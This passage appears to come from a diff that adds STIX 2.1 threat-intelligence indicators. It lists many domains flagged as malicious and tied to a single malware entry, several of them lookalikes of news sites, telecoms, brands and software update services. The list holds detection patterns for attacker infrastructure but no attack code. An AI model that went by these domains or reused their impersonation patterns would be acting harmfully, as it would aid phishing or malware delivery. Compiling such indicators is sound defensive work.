"indicator--f07d7a52-8eab-4ccc-af27-7aa2866d508e", + "created": "2026-02-17T19:39:51.914071Z", + "modified": "2026-02-17T19:39:51.914071Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bni-madagascar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.914071Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71d541b4-3181-4c1d-b704-2ff8413790eb", + "created": "2026-02-17T19:39:51.914429Z", + "modified": "2026-02-17T19:39:51.914429Z", + "relationship_type": "indicates", + "source_ref": "indicator--f07d7a52-8eab-4ccc-af27-7aa2866d508e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce49ff05-25a2-4c61-9665-9ad22682f34f", + "created": "2026-02-17T19:39:51.914511Z", + "modified": "2026-02-17T19:39:51.914511Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ube.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.914511Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7406c946-c202-4056-b99a-678ab0ab2173", + "created": "2026-02-17T19:39:51.914808Z", + "modified": "2026-02-17T19:39:51.914808Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce49ff05-25a2-4c61-9665-9ad22682f34f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e490ffbc-a35f-4e45-8857-7add2e065cc4", + "created": "2026-02-17T19:39:51.914883Z", + "modified": "2026-02-17T19:39:51.914883Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paok-24.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.914883Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--105704f6-d98d-43c7-ba49-7455b946c59a", + "created": "2026-02-17T19:39:51.915183Z", + "modified": "2026-02-17T19:39:51.915183Z", + "relationship_type": "indicates", + "source_ref": "indicator--e490ffbc-a35f-4e45-8857-7add2e065cc4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a621a6a-6ead-4cb5-bd3e-b19af99ba3b7", + "created": "2026-02-17T19:39:51.915259Z", + "modified": "2026-02-17T19:39:51.915259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortely.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.915259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b614175d-8bb0-4647-91da-e879bec32529", + "created": "2026-02-17T19:39:51.915556Z", + "modified": "2026-02-17T19:39:51.915556Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a621a6a-6ead-4cb5-bd3e-b19af99ba3b7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5e1d47e5-88b7-4984-9746-5d441780476b", + "created": "2026-02-17T19:39:51.915632Z", + "modified": "2026-02-17T19:39:51.915632Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jquery-updater.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.915632Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30fa3778-a17b-41bb-b14e-c0d5340048c3", + "created": "2026-02-17T19:39:51.916005Z", + "modified": "2026-02-17T19:39:51.916005Z", + "relationship_type": "indicates", + "source_ref": "indicator--5e1d47e5-88b7-4984-9746-5d441780476b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53f28d0f-67f0-42f7-ac4d-9bcde529a975", + "created": "2026-02-17T19:39:51.91608Z", + "modified": "2026-02-17T19:39:51.91608Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newzgroup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.91608Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0a8fbc83-f380-4e8f-86a8-5c9976a8b9cc", + "created": "2026-02-17T19:39:51.916375Z", + "modified": "2026-02-17T19:39:51.916375Z", + "relationship_type": "indicates", + "source_ref": "indicator--53f28d0f-67f0-42f7-ac4d-9bcde529a975", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e298b81-3cf1-4b5c-942d-5b4abb8d62fc", + "created": "2026-02-17T19:39:51.916448Z", + "modified": "2026-02-17T19:39:51.916448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bmw.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.916448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f3b659a-3063-414e-bdce-335efeed11d5", + "created": "2026-02-17T19:39:51.916737Z", + "modified": "2026-02-17T19:39:51.916737Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e298b81-3cf1-4b5c-942d-5b4abb8d62fc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4dcc4b98-6234-46ed-9c60-778decfcf00b", + "created": "2026-02-17T19:39:51.916812Z", + "modified": "2026-02-17T19:39:51.916812Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vodafonegypt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.916812Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a1c19fb-9d6a-4f02-bf57-065d7b8dae27", + "created": "2026-02-17T19:39:51.917104Z", + "modified": "2026-02-17T19:39:51.917104Z", + "relationship_type": "indicates", + "source_ref": "indicator--4dcc4b98-6234-46ed-9c60-778decfcf00b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7800f28-035b-4a39-ab1f-309ebb6d2cd4", + "created": "2026-02-17T19:39:51.917182Z", + "modified": "2026-02-17T19:39:51.917182Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nissan.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.917182Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74d8338a-efbc-4abc-bf25-021cb65a2deb", + "created": "2026-02-17T19:39:51.917471Z", + "modified": "2026-02-17T19:39:51.917471Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7800f28-035b-4a39-ab1f-309ebb6d2cd4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f2029d0c-7c52-40ac-8c53-411794d9d509", + "created": "2026-02-17T19:39:51.917545Z", + "modified": "2026-02-17T19:39:51.917545Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plinkypong.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.917545Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1fceca5-3d73-43ea-98f2-ea30d7709d19", + "created": "2026-02-17T19:39:51.917836Z", + "modified": "2026-02-17T19:39:51.917836Z", + "relationship_type": "indicates", + "source_ref": "indicator--f2029d0c-7c52-40ac-8c53-411794d9d509", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bcfe763c-7c39-4f48-91e7-f14907b6b511", + "created": "2026-02-17T19:39:51.917909Z", + "modified": "2026-02-17T19:39:51.917909Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ordas-kz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.917909Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6dd0fc1c-a0c0-42a4-8bcc-bb9adaeafe47", + "created": "2026-02-17T19:39:51.9182Z", + "modified": "2026-02-17T19:39:51.9182Z", + "relationship_type": "indicates", + "source_ref": "indicator--bcfe763c-7c39-4f48-91e7-f14907b6b511", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc1c6e9e-e24d-469c-b07e-2543054a9e5a", + "created": "2026-02-17T19:39:51.918273Z", + "modified": "2026-02-17T19:39:51.918273Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nabde.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.918273Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d39f29dd-860c-4e32-b3ae-7ce7ab77ab45", + "created": "2026-02-17T19:39:51.918562Z", + "modified": "2026-02-17T19:39:51.918562Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc1c6e9e-e24d-469c-b07e-2543054a9e5a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3acd3d85-3d73-4e0a-81de-782f52ba6d02", + "created": "2026-02-17T19:39:51.918634Z", + "modified": "2026-02-17T19:39:51.918634Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='06g.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.918634Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--faa2ad2b-d6e8-4460-9775-dce9f2d20d1e", + "created": "2026-02-17T19:39:51.91896Z", + "modified": "2026-02-17T19:39:51.91896Z", + "relationship_type": "indicates", + "source_ref": "indicator--3acd3d85-3d73-4e0a-81de-782f52ba6d02", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed5be7bd-f65a-4d44-8435-b8076c52aa75", + "created": "2026-02-17T19:39:51.919034Z", + "modified": "2026-02-17T19:39:51.919034Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updateservice.center']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.919034Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd110cf0-1c32-41bc-baa4-abfde9fc9736", + "created": "2026-02-17T19:39:51.919399Z", + "modified": "2026-02-17T19:39:51.919399Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed5be7bd-f65a-4d44-8435-b8076c52aa75", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a34ee387-2c8f-4d64-84d4-a2502285d115", + "created": "2026-02-17T19:39:51.919474Z", + "modified": "2026-02-17T19:39:51.919474Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='imparcialpress.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.919474Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ecd349b-905c-4469-81c1-f2d28924119e", + "created": "2026-02-17T19:39:51.91977Z", + "modified": "2026-02-17T19:39:51.91977Z", + "relationship_type": "indicates", + "source_ref": "indicator--a34ee387-2c8f-4d64-84d4-a2502285d115", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04cec1be-cc09-4b61-acbd-349354bc2e69", + "created": "2026-02-17T19:39:51.919844Z", + "modified": "2026-02-17T19:39:51.919844Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='worldnws.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.919844Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--39de59c4-31d8-47e4-8b96-51577ffc5ec8", + "created": "2026-02-17T19:39:51.920136Z", + "modified": "2026-02-17T19:39:51.920136Z", + "relationship_type": "indicates", + "source_ref": "indicator--04cec1be-cc09-4b61-acbd-349354bc2e69", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97002436-9837-4292-89a6-7c5fcba16777", + "created": "2026-02-17T19:39:51.92021Z", + "modified": "2026-02-17T19:39:51.92021Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cosmote.center']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.92021Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f6c66c3-ed16-439b-b6ae-ec7b055913e8", + "created": "2026-02-17T19:39:51.920499Z", + "modified": "2026-02-17T19:39:51.920499Z", + "relationship_type": "indicates", + "source_ref": "indicator--97002436-9837-4292-89a6-7c5fcba16777", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39c8e450-eaee-41c8-9208-aab0e5e94b52", + "created": "2026-02-17T19:39:51.920572Z", + "modified": "2026-02-17T19:39:51.920572Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='makeitshort.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.920572Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d9811d2-2195-4ffe-974c-0c5422b8f74d", + "created": "2026-02-17T19:39:51.920861Z", + "modified": "2026-02-17T19:39:51.920861Z", + "relationship_type": "indicates", + "source_ref": "indicator--39c8e450-eaee-41c8-9208-aab0e5e94b52", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57ff9b2d-8964-44c2-8825-353713ed067d", + "created": "2026-02-17T19:39:51.920935Z", + "modified": "2026-02-17T19:39:51.920935Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='walatparez.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.920935Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--629cd780-16dd-4d84-8759-9c952a24d487", + "created": "2026-02-17T19:39:51.921227Z", + "modified": "2026-02-17T19:39:51.921227Z", + "relationship_type": "indicates", + "source_ref": "indicator--57ff9b2d-8964-44c2-8825-353713ed067d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--595466ba-4766-4b0d-a901-08c0eaa1face", + "created": "2026-02-17T19:39:51.9213Z", + "modified": "2026-02-17T19:39:51.9213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hellottec.art']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.9213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3e9615c-3233-473d-b183-692c82e2f911", + "created": "2026-02-17T19:39:51.92159Z", + "modified": "2026-02-17T19:39:51.92159Z", + "relationship_type": "indicates", + "source_ref": "indicator--595466ba-4766-4b0d-a901-08c0eaa1face", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7da22d12-226f-4842-a187-20027b9d630a", + "created": "2026-02-17T19:39:51.921662Z", + "modified": "2026-02-17T19:39:51.921662Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cellconn.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.921662Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2a0f548-42ef-486a-a4e3-2914fb9fc544", + "created": "2026-02-17T19:39:51.921951Z", + "modified": "2026-02-17T19:39:51.921951Z", + "relationship_type": "indicates", + "source_ref": "indicator--7da22d12-226f-4842-a187-20027b9d630a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--88686edf-549e-4d43-b975-f4579f633ce4", + "created": "2026-02-17T19:39:51.922024Z", + "modified": "2026-02-17T19:39:51.922024Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sports-mdg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.922024Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b56960a6-7587-4424-9015-65227f3aa39b", + "created": "2026-02-17T19:39:51.922314Z", + "modified": "2026-02-17T19:39:51.922314Z", + "relationship_type": "indicates", + "source_ref": "indicator--88686edf-549e-4d43-b975-f4579f633ce4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c4dfec9-2f6e-4143-a3fc-6962d43a1c46", + "created": "2026-02-17T19:39:51.922386Z", + "modified": "2026-02-17T19:39:51.922386Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trecvf.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.922386Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--380dd528-48ec-44f6-addb-d152369e9592", + "created": "2026-02-17T19:39:51.922924Z", + "modified": "2026-02-17T19:39:51.922924Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c4dfec9-2f6e-4143-a3fc-6962d43a1c46", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--09f7d804-e5fa-4637-bc13-f90d10d5112f", + "created": "2026-02-17T19:39:51.923Z", + "modified": "2026-02-17T19:39:51.923Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='heaven.army']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.923Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2d17918-ae60-4373-bcd2-7a6c84e9632c", + "created": "2026-02-17T19:39:51.923294Z", + "modified": "2026-02-17T19:39:51.923294Z", + "relationship_type": "indicates", + "source_ref": "indicator--09f7d804-e5fa-4637-bc13-f90d10d5112f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb342442-2ab3-4af2-8a61-7298cb8764da", + "created": "2026-02-17T19:39:51.92337Z", + "modified": "2026-02-17T19:39:51.92337Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobnetlink1.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.92337Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e24cdbda-d74d-4f49-87e2-02fb149ad9f3", + "created": "2026-02-17T19:39:51.923666Z", + "modified": "2026-02-17T19:39:51.923666Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb342442-2ab3-4af2-8a61-7298cb8764da", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd2a4b40-7457-4043-8ec2-55005531ecba", + "created": "2026-02-17T19:39:51.923742Z", + "modified": "2026-02-17T19:39:51.923742Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vinhosadega.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.923742Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78a696e1-d1bc-4fae-8e32-9c48554f2260", + "created": "2026-02-17T19:39:51.924038Z", + "modified": "2026-02-17T19:39:51.924038Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd2a4b40-7457-4043-8ec2-55005531ecba", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c6e587aa-8cc7-4cdc-a188-a42f2e23946d", + "created": "2026-02-17T19:39:51.924115Z", + "modified": "2026-02-17T19:39:51.924115Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='espressonews.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.924115Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28ca07b0-d276-4bf8-9b56-d3546723ef10", + "created": "2026-02-17T19:39:51.92441Z", + "modified": "2026-02-17T19:39:51.92441Z", + "relationship_type": "indicates", + "source_ref": "indicator--c6e587aa-8cc7-4cdc-a188-a42f2e23946d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cdbced39-df0b-44b6-946e-3fe6bbbdcd1a", + "created": "2026-02-17T19:39:51.924483Z", + "modified": "2026-02-17T19:39:51.924483Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='elpais.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.924483Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c9120401-ed44-49c9-aa0e-3cfe7c489803", + "created": "2026-02-17T19:39:51.924774Z", + "modified": "2026-02-17T19:39:51.924774Z", + "relationship_type": "indicates", + "source_ref": "indicator--cdbced39-df0b-44b6-946e-3fe6bbbdcd1a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a13c9211-1276-4ea3-a263-9dc50f830feb", + "created": "2026-02-17T19:39:51.924847Z", + "modified": "2026-02-17T19:39:51.924847Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='invoker.icu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.924847Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--83776958-c190-4d15-9067-3b7fc147ed4c", + "created": "2026-02-17T19:39:51.925137Z", + "modified": "2026-02-17T19:39:51.925137Z", + "relationship_type": "indicates", + "source_ref": "indicator--a13c9211-1276-4ea3-a263-9dc50f830feb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f849b65c-6f38-4738-893f-723aefb49095", + "created": "2026-02-17T19:39:51.925209Z", + "modified": "2026-02-17T19:39:51.925209Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='omeega.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.925209Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d230743f-d4aa-41c8-9370-f2e210b673d2", + "created": "2026-02-17T19:39:51.925498Z", + "modified": "2026-02-17T19:39:51.925498Z", + "relationship_type": "indicates", + "source_ref": "indicator--f849b65c-6f38-4738-893f-723aefb49095", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46413b95-5459-48d4-9d3b-058736d2a7ce", + "created": "2026-02-17T19:39:51.925571Z", + "modified": "2026-02-17T19:39:51.925571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mywebsitevpstest.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.925571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f60e205f-05c7-483e-b671-e314988b304c", + "created": "2026-02-17T19:39:51.925867Z", + "modified": "2026-02-17T19:39:51.925867Z", + "relationship_type": "indicates", + "source_ref": "indicator--46413b95-5459-48d4-9d3b-058736d2a7ce", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbd9eab6-120c-4385-95d3-e111991d3cf8", + "created": "2026-02-17T19:39:51.92594Z", + "modified": "2026-02-17T19:39:51.92594Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dhll.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.92594Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d33e478-10b1-4298-9a0f-d1e779aa3f06", + "created": "2026-02-17T19:39:51.926228Z", + "modified": "2026-02-17T19:39:51.926228Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbd9eab6-120c-4385-95d3-e111991d3cf8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9a303776-3f09-4886-bb4c-f8ea2f88473a", + "created": "2026-02-17T19:39:51.926303Z", + "modified": "2026-02-17T19:39:51.926303Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sephoragroup.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.926303Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1936af99-5212-4a71-a08a-72b078cd2ac5", + "created": "2026-02-17T19:39:51.926664Z", + "modified": "2026-02-17T19:39:51.926664Z", + "relationship_type": "indicates", + "source_ref": "indicator--9a303776-3f09-4886-bb4c-f8ea2f88473a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1064081b-84c2-45c3-958a-0b7254ddb831", + "created": "2026-02-17T19:39:51.92674Z", + "modified": "2026-02-17T19:39:51.92674Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grupohel.social']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.92674Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--88b0434f-1201-4d38-9900-92d0c8676a67", + "created": "2026-02-17T19:39:51.927035Z", + "modified": "2026-02-17T19:39:51.927035Z", + "relationship_type": "indicates", + "source_ref": "indicator--1064081b-84c2-45c3-958a-0b7254ddb831", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aaa34c98-2e19-4b3c-9039-51d82dcc1679", + "created": "2026-02-17T19:39:51.92711Z", + "modified": "2026-02-17T19:39:51.92711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='afrinew.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.92711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1007073-0fd2-4f32-9a84-708ec534c699", + "created": "2026-02-17T19:39:51.9274Z", + "modified": "2026-02-17T19:39:51.9274Z", + "relationship_type": "indicates", + "source_ref": "indicator--aaa34c98-2e19-4b3c-9039-51d82dcc1679", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e8f034f-96f9-4959-943c-8e47ea1d94da", + "created": "2026-02-17T19:39:51.927476Z", + "modified": "2026-02-17T19:39:51.927476Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uservicescheck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.927476Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f493c4b-c936-407c-8292-a29dbdec9bc4", + "created": "2026-02-17T19:39:51.927772Z", + "modified": "2026-02-17T19:39:51.927772Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e8f034f-96f9-4959-943c-8e47ea1d94da", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--101dca01-24cf-4193-a4b5-2cf5d8c248b5", + "created": "2026-02-17T19:39:51.927845Z", + "modified": "2026-02-17T19:39:51.927845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='astanapark.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.927845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8dacd221-221b-4a41-a8e8-63c28aa86a68", + "created": "2026-02-17T19:39:51.928139Z", + "modified": "2026-02-17T19:39:51.928139Z", + "relationship_type": "indicates", + "source_ref": "indicator--101dca01-24cf-4193-a4b5-2cf5d8c248b5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4009d94-4cb9-41c9-92e0-48fc22793fc4", + "created": "2026-02-17T19:39:51.928213Z", + "modified": "2026-02-17T19:39:51.928213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safelyredirecting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": 